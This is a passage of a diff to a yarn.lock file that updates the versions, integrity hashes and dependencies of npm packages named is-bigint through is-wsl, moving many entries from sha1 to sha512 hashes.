+  resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.1.0.tgz#dda7a3445df57a42583db4228682eba7c4170672"
+  integrity sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==
+  dependencies:
+    has-bigints "^1.0.2"
+
 is-binary-path@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-1.0.1.tgz#75f16642b480f187a711c814161fd3a4a7655898"
-  integrity sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=
+  integrity sha512-9fRVlXc0uCxEDj1nQzaWONSpbTfx0FmJfzHF7pwlI8DkWGoHBBea4Pg5Ky0ojwwxQmnSifgbKkI06Qv0Ljgj+Q==
   dependencies:
     binary-extensions "^1.0.0"
 
@@ -4122,6 +4341,14 @@ is-binary-path@~2.1.0:
   dependencies:
     binary-extensions "^2.0.0"
 
+is-boolean-object@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.2.1.tgz#c20d0c654be05da4fbc23c562635c019e93daf89"
+  integrity sha512-l9qO6eFlUETHtuihLcYOaLKByJ1f+N4kthcU9YjHy3N+B3hWv0y/2Nd0mu/7lTFnRQHTrSdXF50HQ3bl5fEnng==
+  dependencies:
+    call-bound "^1.0.2"
+    has-tostringtag "^1.0.2"
+
 is-buffer@^1.1.5:
   version "1.1.6"
   resolved "https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.6.tgz#efaa2ea9daa0d7ab2ea13a97b2b8ad51fefbe8be"
@@ -4130,14 +4357,14 @@ is-buffer@^1.1.5:
 is-builtin-module@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-builtin-module/-/is-builtin-module-1.0.0.tgz#540572d34f7ac3119f8f76c30cbc1b1e037affbe"
-  integrity sha1-VAVy0096wxGfj3bDDLwbHgN6/74=
+  integrity sha512-C2wz7Juo5pUZTFQVer9c+9b4qw3I5T/CHQxQyhVu7BJel6C22FmsLIWsdseYyOw6xz9Pqy9eJWSkQ7+3iN1HVw==
   dependencies:
     builtin-modules "^1.0.0"
 
-is-callable@^1.1.4, is-callable@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.2.tgz#c7c6715cd22d4ddb48d3e19970223aceabb080d9"
-  integrity sha512-dnMqspv5nU3LoewK2N/y7KLtxtakvTuaCsU9FU50/QDmdbHNy/4/JuRtMHqRU22o3q+W89YQndQEeCVwK+3qrA==
+is-callable@^1.1.3, is-callable@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.7.tgz#3bc2a85ea742d9e36205dcacdd72ca1fdc51b055"
+  integrity sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==
 
 is-ci@^1.0.10:
   version "1.2.1"
@@ -4146,71 +4373,74 @@ is-ci@^1.0.10:
   dependencies:
     ci-info "^1.5.0"
 
-is-core-module@^2.1.0:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.2.0.tgz#97037ef3d52224d85163f5597b2b63d9afed981a"
-  integrity sha512-XRAfAdyyY5F5cOXn7hYQDqh2Xmii+DEfIcQGxK/uNwMHhIkPWO0g8msXcbzLe+MpGoR951MlqM/2iIlU4vKDdQ==
+is-core-module@^2.13.0, is-core-module@^2.16.0:
+  version "2.16.1"
+  resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4"
+  integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==
   dependencies:
-    has "^1.0.3"
+    hasown "^2.0.2"
 
-is-data-descriptor@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz#0b5ee648388e2c860282e793f1856fec3f301b56"
-  integrity sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=
+is-data-descriptor@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.1.tgz#2109164426166d32ea38c405c1e0945d9e6a4eeb"
+  integrity sha512-bc4NlCDiCr28U4aEsQ3Qs2491gVq4V8G7MQyws968ImqjKuYtTJXrl7Vq7jsN7Ly/C3xj5KWFrY7sHNeDkAzXw==
   dependencies:
-    kind-of "^3.0.2"
+    hasown "^2.0.0"
 
-is-data-descriptor@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz#d84876321d0e7add03990406abbbbd36ba9268c7"
-  integrity sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==
+is-data-view@^1.0.1, is-data-view@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.2.tgz#bae0a41b9688986c2188dda6657e56b8f9e63b8e"
+  integrity sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==
   dependencies:
-    kind-of "^6.0.0"
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    is-typed-array "^1.1.13"
 
-is-date-object@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.2.tgz#bda736f2cd8fd06d32844e7743bfa7494c3bfd7e"
-  integrity sha512-USlDT524woQ08aoZFzh3/Z6ch9Y/EWXEHQ/AaRN0SkKq4t2Jw2R2339tSXmwuVoY7LLlBCbOIlx2myP/L5zk0g==
+is-date-object@^1.0.5, is-date-object@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.1.0.tgz#ad85541996fc7aa8b2729701d27b7319f95d82f7"
+  integrity sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==
+  dependencies:
+    call-bound "^1.0.2"
+    has-tostringtag "^1.0.2"
 
 is-descriptor@^0.1.0:
-  version "0.1.6"
-  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.6.tgz#366d8240dde487ca51823b1ab9f07a10a78251ca"
-  integrity sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==
+  version "0.1.7"
+  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-0.1.7.tgz#2727eb61fd789dcd5bdf0ed4569f551d2fe3be33"
+  integrity sha512-C3grZTvObeN1xud4cRWl366OMXZTj0+HGyk4hvfpx4ZHt1Pb60ANSXqCK7pdOTeUQpRzECBSTphqvD7U+l22Eg==
   dependencies:
-    is-accessor-descriptor "^0.1.6"
-    is-data-descriptor "^0.1.4"
-    kind-of "^5.0.0"
+    is-accessor-descriptor "^1.0.1"
+    is-data-descriptor "^1.0.1"
 
 is-descriptor@^1.0.0, is-descriptor@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.2.tgz#3b159746a66604b04f8c81524ba365c5f14d86ec"
-  integrity sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/is-descriptor/-/is-descriptor-1.0.3.tgz#92d27cb3cd311c4977a4db47df457234a13cb306"
+  integrity sha512-JCNNGbwWZEVaSPtS45mdtrneRWJFp07LLmykxeFV5F6oBvNF8vHSfJuJgoT472pSfk+Mf8VnlrspaFBHWM8JAw==
   dependencies:
-    is-accessor-descriptor "^1.0.0"
-    is-data-descriptor "^1.0.0"
-    kind-of "^6.0.2"
+    is-accessor-descriptor "^1.0.1"
+    is-data-descriptor "^1.0.1"
 
 is-directory@^0.3.1:
   version "0.3.1"
   resolved "https://registry.yarnpkg.com/is-directory/-/is-directory-0.3.1.tgz#61339b6f2475fc772fd9c9d83f5c8575dc154ae1"
-  integrity sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE=
+  integrity sha512-yVChGzahRFvbkscn2MlwGismPO12i9+znNruC5gVEntG3qu0xQMzsGg/JFbrsqDOHtHFPci+V5aP5T9I+yeKqw==
 
 is-dotfile@^1.0.0:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/is-dotfile/-/is-dotfile-1.0.3.tgz#a6a2f32ffd2dfb04f5ca25ecd0f6b83cf798a1e1"
-  integrity sha1-pqLzL/0t+wT1yiXs0Pa4PPeYoeE=
+  integrity sha512-9YclgOGtN/f8zx0Pr4FQYMdibBiTaH3sn52vjYip4ZSf6C4/6RfTEZ+MR4GvKhCxdPh21Bg42/WL55f6KSnKpg==
 
 is-equal-shallow@^0.1.3:
   version "0.1.3"
   resolved "https://registry.yarnpkg.com/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz#2238098fc221de0bcfa5d9eac4c45d638aa1c534"
-  integrity sha1-IjgJj8Ih3gvPpdnqxMRdY4qhxTQ=
+  integrity sha512-0EygVC5qPvIyb+gSz7zdD5/AAoS6Qrx1e//6N4yv4oNm30kqvdmG66oZFWVlQHUWe5OjP08FuTw2IdT0EOTcYA==
   dependencies:
     is-primitive "^2.0.0"
 
 is-extendable@^0.1.0, is-extendable@^0.1.1:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89"
-  integrity sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=
+  integrity sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==
 
 is-extendable@^1.0.1:
   version "1.0.1"
@@ -4222,13 +4452,20 @@ is-extendable@^1.0.1:
 is-extglob@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-1.0.0.tgz#ac468177c4943405a092fc8f29760c6ffc6206c0"
-  integrity sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=
+  integrity sha512-7Q+VbVafe6x2T+Tu6NcOf6sRklazEPmBoB3IWk3WdGZM2iGUwU/Oe3Wtq5lSEkDTTlpp8yx+5t4pzO/i9Ty1ww==
 
 is-extglob@^2.1.0, is-extglob@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
   integrity sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=
 
+is-finalizationregistry@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz#eefdcdc6c94ddd0674d9c85887bf93f944a97c90"
+  integrity sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==
+  dependencies:
+    call-bound "^1.0.3"
+
 is-finite@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/is-finite/-/is-finite-1.1.0.tgz#904135c77fb42c0641d6aa1bcdbc4daa8da082f3"
@@ -4237,26 +4474,36 @@ is-finite@^1.0.0:
 is-fullwidth-code-point@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz#ef9e31386f031a7f0d643af82fde50c457ef00cb"
-  integrity sha1-754xOG8DGn8NZDr4L95QxFfvAMs=
+  integrity sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==
   dependencies:
     number-is-nan "^1.0.0"
 
 is-fullwidth-code-point@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
-  integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
+  integrity sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==
+
+is-generator-function@^1.0.10:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.1.0.tgz#bf3eeda931201394f57b5dba2800f91a238309ca"
+  integrity sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==
+  dependencies:
+    call-bound "^1.0.3"
+    get-proto "^1.0.0"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
 
 is-glob@^2.0.0, is-glob@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-2.0.1.tgz#d096f926a3ded5600f3fdfd91198cb0888c2d863"
-  integrity sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=
+  integrity sha512-a1dBeB19NXsf/E0+FHqkagizel/LQw2DjSQpvQrj3zT+jYPpaUCryPnrQajXKFLCMuf4I6FhRpaGtw4lPrG6Eg==
   dependencies:
     is-extglob "^1.0.0"
 
 is-glob@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-3.1.0.tgz#7ba5ae24217804ac70707b96922567486cc3e84a"
-  integrity sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=
+  integrity sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==
   dependencies:
     is-extglob "^2.1.0"
 
@@ -4270,32 +4517,40 @@ is-glob@^4.0.0, is-glob@^4.0.1, is-glob@~4.0.1:
 is-installed-globally@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/is-installed-globally/-/is-installed-globally-0.1.0.tgz#0dfd98f5a9111716dd535dda6492f67bf3d25a80"
-  integrity sha1-Df2Y9akRFxbdU13aZJL2e/PSWoA=
+  integrity sha512-ERNhMg+i/XgDwPIPF3u24qpajVreaiSuvpb1Uu0jugw7KKcxGyCX8cgp8P5fwTmAuXku6beDHHECdKArjlg7tw==
   dependencies:
     global-dirs "^0.1.0"
     is-path-inside "^1.0.0"
 
-is-negative-zero@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.1.tgz#3de746c18dda2319241a53675908d8f766f11c24"
-  integrity sha512-2z6JzQvZRa9A2Y7xC6dQQm4FSTSTNWjKIYYTt4246eMTJmIo0Q+ZyOsU66X8lxK1AbB92dFeglPLrhwpeRKO6w==
+is-map@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.3.tgz#ede96b7fe1e270b3c4465e3a465658764926d62e"
+  integrity sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==
 
 is-npm@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-npm/-/is-npm-1.0.0.tgz#f2fb63a65e4905b406c86072765a1a4dc793b9f4"
-  integrity sha1-8vtjpl5JBbQGyGBydloaTceTufQ=
+  integrity sha512-9r39FIr3d+KD9SbX0sfMsHzb5PP3uimOiwr3YupUaUFG4W0l1U57Rx3utpttV7qz5U3jmrO5auUa04LU9pyHsg==
+
+is-number-object@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.1.1.tgz#144b21e95a1bc148205dcc2814a9134ec41b2541"
+  integrity sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
 
 is-number@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/is-number/-/is-number-2.1.0.tgz#01fcbbb393463a548f2f466cce16dece49db908f"
-  integrity sha1-Afy7s5NGOlSPL0ZszhbezknbkI8=
+  integrity sha512-QUzH43Gfb9+5yckcrSA0VBDwEtDUchrk4F6tfJZQuNzDJbEDB9cZNzSfXGQ1jqmdDY/kl41lUOWM9syA8z8jlg==
   dependencies:
     kind-of "^3.0.2"
 
 is-number@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/is-number/-/is-number-3.0.0.tgz#24fd6201a4782cf50561c810276afc7d12d71195"
-  integrity sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=
+  integrity sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==
   dependencies:
     kind-of "^3.0.2"
 
@@ -4312,12 +4567,12 @@ is-number@^7.0.0:
 is-obj@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/is-obj/-/is-obj-1.0.1.tgz#3e4729ac1f5fde025cd7d83a896dab9f4f67db0f"
-  integrity sha1-PkcprB9f3gJc19g6iW2rn09n2w8=
+  integrity sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg==
 
 is-path-cwd@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-path-cwd/-/is-path-cwd-1.0.0.tgz#d225ec23132e89edd38fda767472e62e65f1106d"
-  integrity sha1-0iXsIxMuie3Tj9p2dHLmLmXxEG0=
+  integrity sha512-cnS56eR9SPAscL77ik76ATVqoPARTqPIVkMDVxRaWH06zT+6+CzIroYRJ0VVvm0Z1zfAvxvz9i/D3Ppjaqt5Nw==
 
 is-path-in-cwd@^1.0.0:
   version "1.0.1"
@@ -4329,14 +4584,14 @@ is-path-in-cwd@^1.0.0:
 is-path-inside@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/is-path-inside/-/is-path-inside-1.0.1.tgz#8ef5b7de50437a3fdca6b4e865ef7aa55cb48036"
-  integrity sha1-jvW33lBDej/cprToZe96pVy0gDY=
+  integrity sha512-qhsCR/Esx4U4hg/9I19OVUAJkGWtjRYHMRgUMZE2TDdj+Ag+kttZanLupfddNyglzz50cUlmWzUaI37GDfNx/g==
   dependencies:
     path-is-inside "^1.0.1"
 
 is-plain-obj@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/is-plain-obj/-/is-plain-obj-1.1.0.tgz#71a50c8429dfca773c92a390a4a03b39fcd51d3e"
-  integrity sha1-caUMhCnfync8kqOQpKA7OfzVHT4=
+  integrity sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg==
 
 is-plain-object@^2.0.3, is-plain-object@^2.0.4:
   version "2.0.4"
@@ -4348,24 +4603,27 @@ is-plain-object@^2.0.3, is-plain-object@^2.0.4:
 is-posix-bracket@^0.1.0:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz#3334dc79774368e92f016e6fbc0a88f5cd6e6bc4"
-  integrity sha1-MzTceXdDaOkvAW5vvAqI9c1ua8Q=
+  integrity sha512-Yu68oeXJ7LeWNmZ3Zov/xg/oDBnBK2RNxwYY1ilNJX+tKKZqgPK+qOn/Gs9jEu66KDY9Netf5XLKNGzas/vPfQ==
 
 is-primitive@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/is-primitive/-/is-primitive-2.0.0.tgz#207bab91638499c07b2adf240a41a87210034575"
-  integrity sha1-IHurkWOEmcB7Kt8kCkGochADRXU=
+  integrity sha512-N3w1tFaRfk3UrPfqeRyD+GYDASU3W5VinKhlORy8EWVf/sIdDL9GAcew85XmktCfH+ngG7SRXEVDoO18WMdB/Q==
 
 is-redirect@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-redirect/-/is-redirect-1.0.0.tgz#1d03dded53bd8db0f30c26e4f95d36fc7c87dc24"
-  integrity sha1-HQPd7VO9jbDzDCbk+V02/HyH3CQ=
+  integrity sha512-cr/SlUEe5zOGmzvj9bUyC4LVvkNVAXu4GytXLNMr1pny+a65MpQ9IJzFHD5vi7FyJgb4qt27+eS3TuQnqB+RQw==
 
-is-regex@^1.0.4, is-regex@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.1.1.tgz#c6f98aacc546f6cec5468a07b7b153ab564a57b9"
-  integrity sha512-1+QkEcxiLlB7VEyFtyBg94e08OAsvq7FUBgApTq/w2ymCLyKJgDPsybBENVtA7XCQEgEXxKPonG+mvYRxh/LIg==
+is-regex@^1.1.4, is-regex@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.2.1.tgz#76d70a3ed10ef9be48eb577887d74205bf0cad22"
+  integrity sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==
   dependencies:
-    has-symbols "^1.0.1"
+    call-bound "^1.0.2"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
 
 is-resolvable@^1.0.0:
   version "1.1.0"
@@ -4380,41 +4638,85 @@ is-retry-allowed@^1.0.0:
 is-root@1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-root/-/is-root-1.0.0.tgz#07b6c233bc394cd9d02ba15c966bd6660d6342d5"
-  integrity sha1-B7bCM7w5TNnQK6FclmvWZg1jQtU=
+  integrity sha512-1d50EJ7ipFxb9bIx213o6KPaJmHN8f+nR48UZWxWVzDx+NA3kpscxi02oQX3rGkEaLBi9m3ZayHngQc3+bBX9w==
 
-is-stream@^1.0.0, is-stream@^1.0.1, is-stream@^1.1.0:
+is-set@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/is-set/-/is-set-2.0.3.tgz#8ab209ea424608141372ded6e0cb200ef1d9d01d"
+  integrity sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==
+
+is-shared-array-buffer@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz#9b67844bd9b7f246ba0708c3a93e34269c774f6f"
+  integrity sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==
+  dependencies:
+    call-bound "^1.0.3"
+
+is-stream@^1.0.0, is-stream@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-1.1.0.tgz#12d4a3dd4e68e0b79ceb8dbc84173ae80d91ca44"
-  integrity sha1-EtSj3U5o4Lec6428hBc66A2RykQ=
+  integrity sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==
 
-is-string@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.5.tgz#40493ed198ef3ff477b8c7f92f644ec82a5cd3a6"
-  integrity sha512-buY6VNRjhQMiF1qWDouloZlQbRhDPCebwxSjxMjxgemYT46YMd2NR0/H+fBhEfWX4A/w9TBJ+ol+okqJKFE6vQ==
+is-string@^1.0.7, is-string@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.1.1.tgz#92ea3f3d5c5b6e039ca8677e5ac8d07ea773cbb9"
+  integrity sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
 
 is-svg@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/is-svg/-/is-svg-2.1.0.tgz#cf61090da0d9efbcab8722deba6f032208dbb0e9"
-  integrity sha1-z2EJDaDZ77yrhyLeum8DIgjbsOk=
+  integrity sha512-Ya1giYJUkcL/94quj0+XGcmts6cETPBW1MiFz1ReJrnDJ680F52qpAEGAEGU0nq96FRGIGPx6Yo1CyPXcOoyGw==
   dependencies:
     html-comment-regex "^1.1.0"
 
-is-symbol@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.3.tgz#38e1014b9e6329be0de9d24a414fd7441ec61937"
-  integrity sha512-OwijhaRSgqvhm/0ZdAcXNZt9lYdKFpcRDT5ULUuYXPoT794UNOdU+gpT6Rzo7b4V2HUl/op6GqY894AZwv9faQ==
+is-symbol@^1.0.4, is-symbol@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.1.1.tgz#f47761279f532e2b05a7024a7506dbbedacd0634"
+  integrity sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==
+  dependencies:
+    call-bound "^1.0.2"
+    has-symbols "^1.1.0"
+    safe-regex-test "^1.1.0"
+
+is-typed-array@^1.1.13, is-typed-array@^1.1.14, is-typed-array@^1.1.15:
+  version "1.1.15"
+  resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.15.tgz#4bfb4a45b61cee83a5a46fba778e4e8d59c0ce0b"
+  integrity sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==
   dependencies:
-    has-symbols "^1.0.1"
+    which-typed-array "^1.1.16"
 
 is-typedarray@~1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a"
-  integrity sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=
+  integrity sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==
 
 is-utf8@^0.2.0:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/is-utf8/-/is-utf8-0.2.1.tgz#4b0da1442104d1b336340e80797e865cf39f7d72"
-  integrity sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=
+  integrity sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q==
+
+is-weakmap@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.2.tgz#bf72615d649dfe5f699079c54b83e47d1ae19cfd"
+  integrity sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==
+
+is-weakref@^1.0.2, is-weakref@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.1.0.tgz#47e3472ae95a63fa9cf25660bcf0c181c39770ef"
+  integrity sha512-SXM8Nwyys6nT5WP6pltOwKytLV7FqQ4UiibxVmW+EIosHcmCqkkjViTb5SNssDlkCiEYRP1/pdWUKVvZBmsR2Q==
+  dependencies:
+    call-bound "^1.0.2"
+
+is-weakset@^2.0.3:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/is-weakset/-/is-weakset-2.0.4.tgz#c9f5deb0bc1906c6d6f1027f284ddf459249daca"
+  integrity sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==
+  dependencies:
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
 
 is-windows@^1.0.1, is-windows@^1.0.2:
   version "1.0.2"
@@ -4424,18 +4726,23 @@ is-windows@^1.0.1, is-windows@^1.0.2:
 is-wsl@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/is-wsl/-/is-wsl-1.1.0.tgz#1f16e4aa22b04d1336b66188a66af3c600c3a66d"
